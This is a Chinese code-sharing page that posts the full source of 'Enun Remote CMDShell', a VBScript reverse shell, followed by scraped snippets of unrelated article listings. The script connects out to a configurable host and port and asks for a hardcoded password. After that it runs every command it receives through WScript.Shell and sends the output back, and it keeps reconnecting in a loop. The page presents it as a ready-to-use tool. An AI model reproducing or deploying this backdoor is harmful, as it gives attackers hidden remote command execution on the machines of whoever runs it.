VBScript Enun Remote CMD Shell代码_vbs

效果如图:

复制代码 代码如下:

'============================
' Enun Remote CMDShell v 1.0
'============================

Option Explicit

CONST ACCOUNT_LOCK_TIME = 600000    '账户锁定时间,10分钟
CONST LOCKOUT_BAD_COUNT = 3     '密码失败次数
CONST DEFAULT_WAIT_TIME = 1000     '默认延时,1秒
CONST DEFAULT_TIME_OUT  = 60000    '默认超时,60秒

Public WinSocket, sRevData, Count
Do
 On Error Resume Next

 Do While (WinSocket.State <> 7)
  Dim ObjectFSO, GetConfig, Line, Host, Port, i

  Set WinSocket = WScript.CreateObject("MSWinsock.Winsock")
  Set ObjectFSO = CreateObject("Scripting.FileSystemObject")
  Set GetConfig = ObjectFSO.OpenTextFile(".\enunrc.ini", 1)

  For i = 1 To 3
   Line = GetConfig.ReadLine
   If InStr(Line,"Host") > 0 Then Host = Split(Line, "=", -1, 1)(1)
   If InStr(Line,"Port") > 0 Then Port = Split(Line, "=", -1, 1)(1)
  Next

  If (Len(Host) = 0) Then Host = "127.0.0.1"
  If (Len(Port) = 0) Then Port = "8090"

  WinSocket.Protocol = 0
  WinSocket.RemoteHost = Host
  WinSocket.RemotePort = Port
  WinSocket.Connect

  WScript.Sleep DEFAULT_WAIT_TIME * 5
  Call TrackScript(2, WinSocket.State, WinSocket.BytesReceived)
  'Setp: 2
 Loop

 Do While (WinSocket.State <> 9 and WinSocket.State <> 0)

  Dim AuthKey, LockoutBadCount, TIMEOUT_M, TIMEOUT_N

  TIMEOUT_N = 0

  WinSocket.SendData WinSocket.LocalHostName & " is Connected, Enter Password: "
  Do While (WinSocket.BytesReceived = 0 and WinSocket.State <> 9 and WinSocket.State <> 0)
   TIMEOUT_N = TIMEOUT_N + 1000

   Call ControlTimeout(TIMEOUT_N)
  Loop

  WinSocket.GetData Authkey, vbString
  If Split(Authkey, chr(10), -1, 1)(0) = "veteran" Then
   WinSocket.SendData "Logon Success, Welcome!" & vbcrlf

   sRevData = "veteran"

   Do While (WinSocket.BytesReceived = 0 and WinSocket.State <> 9 and WinSocket.State <> 0)
    Dim ShellObj, Executes

    Set ShellObj = CreateObject("WScript.Shell")
    Set Executes = ShellObj.Exec(Split(sRevData, chr(10), -1, 1)(0))

    WinSocket.SendData Executes.StdOut.ReadAll
    WinSocket.SendData Executes.StdErr.ReadAll

    If (Len(sRevData) > 0) Then
     TIMEOUT_M = 0
     WinSocket.SendData vbcrlf & "[" & WinSocket.LocalHostName & "@enun]#: "
    Else
     Do While (WinSocket.BytesReceived = 0 and WinSocket.State <> 9 and WinSocket.State <> 0)
      TIMEOUT_M = TIMEOUT_M + 1000
      Call ControlTimeout(TIMEOUT_M)
     Loop
    End If

    If (LCase(Left(sRevData, 4)) = "exit") Then WinSocket.Close

    WinSocket.GetData sRevData, vbString

    WScript.Sleep DEFAULT_WAIT_TIME
    Call TrackScript(5, WinSocket.State, WinSocket.BytesReceived)
    'Setp: 5
   Loop
  Else
   LockoutBadCount = LockoutBadCount + 1
   WinSocket.SendData "Logon fail: Unknown user name or bad password." & vbcrlf
   WScript.Sleep DEFAULT_WAIT_TIME
  End If

  If (LockoutBadCount = LOCKOUT_BAD_COUNT) Then
   WinSocket.SendData "Failed too many times, the account has been locked!" & vbcrlf
   WScript.Sleep DEFAULT_WAIT_TIME
   WinSocket.Close

   LockoutBadCount = 0
   WScript.Sleep ACCOUNT_LOCK_TIME
   '锁定账户
  End If
  Call TrackScript(3, WinSocket.State, WinSocket.BytesReceived)
  'Setp: 3
 Loop
 Call TrackScript(1, WinSocket.State, WinSocket.BytesReceived)
 'Setp: 1
Loop

 

'=======================
'Control Timeout.
'=======================
Public Sub ControlTimeout(Count)
 If Count = DEFAULT_TIME_OUT Then
  WinSocket.SendData vbcrlf & "Local server response timeout, Please reconnect ..." & vbcrlf
  WScript.Sleep DEFAULT_WAIT_TIME
  WinSocket.Close
  '控制端60秒内无输入的话,连接自动断开,可即时连接。
 Else
  WScript.Sleep DEFAULT_WAIT_TIME
 End If
 Call TrackScript(4, WinSocket.State, WinSocket.BytesReceived)
 'Setp: 4
End Sub

'=======================
'Track Script.
'=======================
Public Sub TrackScript(MyStep, StateCode, BytesReceived)
 WScript.echo "MyStep: " & MyStep & ", StateCode: " & StateCode & ", Received: " & BytesReceived & " Bytes"
End Sub

时间: 2024-09-14 00:54:02

VBScript Enun Remote CMD Shell代码_vbs的相关文章

VBScript Enun Remote CMD Shell代码

Enun Remote CMDShell,喜欢玩cmdshell的朋友可以参考下   效果如图: 复制代码 代码如下: '============================ ' Enun Remote CMDShell v 1.0 '============================ Option Explicit CONST ACCOUNT_LOCK_TIME = 600000    '账户锁定时间,10分钟 CONST LOCKOUT_BAD_COUNT = 3     '密码失

IE中用VBScript不提示直接打印的代码_vbs

首先在HTML 页面中加入WebBrowser 的Object: <OBJECT classid="CLSID:8856F961-340A-11D0-A96B-00C04FD705A2" height=0 id=wb name=wb width=0></OBJECT> 之后,使用如下代码进行打印: <script language="VBScript"> sub printvb() wb.execwb 6,2,3 End Sub

vbscript ms owc 封裝代码_vbs

复制代码 代码如下: ''owc.vbs class owc private o '传入物件 public property set set_obj(o_id) set o=o_id end property '画图矩形图 'chart_bgcolor_图表的背景颜色 'chartCaption_图表的标题 'chartCaption_fontColor_图表标题颜色 'Interior_Color_矩形内的填充颜色 'Caption_名称 'categories_名称数组 'values_值数

vbscript自动配置IIS的代码_vbs

复制代码 代码如下: strServerName =""localhost"" strRootPath=""g:\documents"" ''虚拟目录路径 strVRName=""Test"" ''虚拟目录名称 strDefaultDoc=""index.asp"" ''起始文档 Dim objIIS ''MsgBox ""II

Do All in Cmd Shell一切在命令行下完成第1/6页_DOS/BAT

文件传输 对于溢出漏洞获得的cmd shell,最大的问题就是如何上传文件.由于蠕虫病毒流行,连接ipc$所需要的139或445端口被路由封锁.再加上WinXP系统加强了对ipc$的保护,通过ipc$及默认共享上传文件的手段基本无效了.ftp和tftp是两种可行的方法,介于其已被大家熟知,本文就不介绍了.还有三种大家熟悉的办法,作为总结我再提一下: 1,用Echo命令写ASP木马. 前提当然是目标主机上已经安装了IIS. 一般的ASP木马"体积"较大,不适合直接用echo命令写入文件,

ubuntu与centos中更换ip的shell代码_linux shell

代码一ubuntu与centos 复制代码 代码如下: ubuntu:#!/bin/bashecho "ipaddr:"read lineecho $linesed "s/address.*$/address=${line}/g" /etc/network/interfacescentos(未测试):#!/bin/bashecho "ipaddr:"read lineecho $linesed "s/IPADDR.*$/IPADDR=$

利用WScript.Shell对象隐藏cmd命令行运行框的实现代码_vbs

1. WScript.Shell(Windows Script Host Runtime Library)是一个对象,对应的文件是C:\WINDOWS\system32\wshom.ocx,Wscript.shell是服务器系统会用到的一种组件.shell 就是"壳"的意思,这个对象可以执行操作系统外壳常用的操作,比如运行程序.读写注册表.环境变量等.这个对象通常被用在VB或VBS编程中. 2. 安装WScript.Shell对象:regsvr32 WShom.Ocx 卸载WScrip

妙用VBScript自制IE工具栏按钮的代码_vbs

IE工具栏上的各种按钮可不是Microsoft的专利,普通用户一样能够对其进行自定义,添加想设置的按钮,至于添加的方法,很多资料上都介绍过.具体的实现方式不外乎两种,一是使用冗长且复杂的VC或VB代码程序,这对普通用户来说要求是过高了一点,通常搞得人满头雾水而不达目的:二是用手工的方法来完成,但是这种方法因为要大幅度地修改系统注册表,系统极不安全,一不小心就会弄巧成拙,让你重新安装系统!  我这里介绍一个折衷的方法,用VBScript自制IE工具栏按钮,它既不需要冗长复杂的程序代码,又不需要繁琐

vbscript include的办法实现代码第1/2页_vbs

任何真正实用的工程开发都必然是多文件的.但是VBScript创建多文件工程要麻烦一点,它对多文件工程,代码复用的支持并不是太好.在C/C++工程里,我们已经习惯了通过一个include语句,并且声明一个函数原形的方式来使用其它模块中的函数,这样一个复杂的工程可以比较容易地分解成一些小的模块,以更容易理解和掌握.VBScript中情况有些不同.这与它的设计目标有关.最初VBScript是用在客户端脚本,以支持与客户端作简单的交互,如简单的输入检查等等.在浏览器里显然没有办法支持对另一个文件中的函数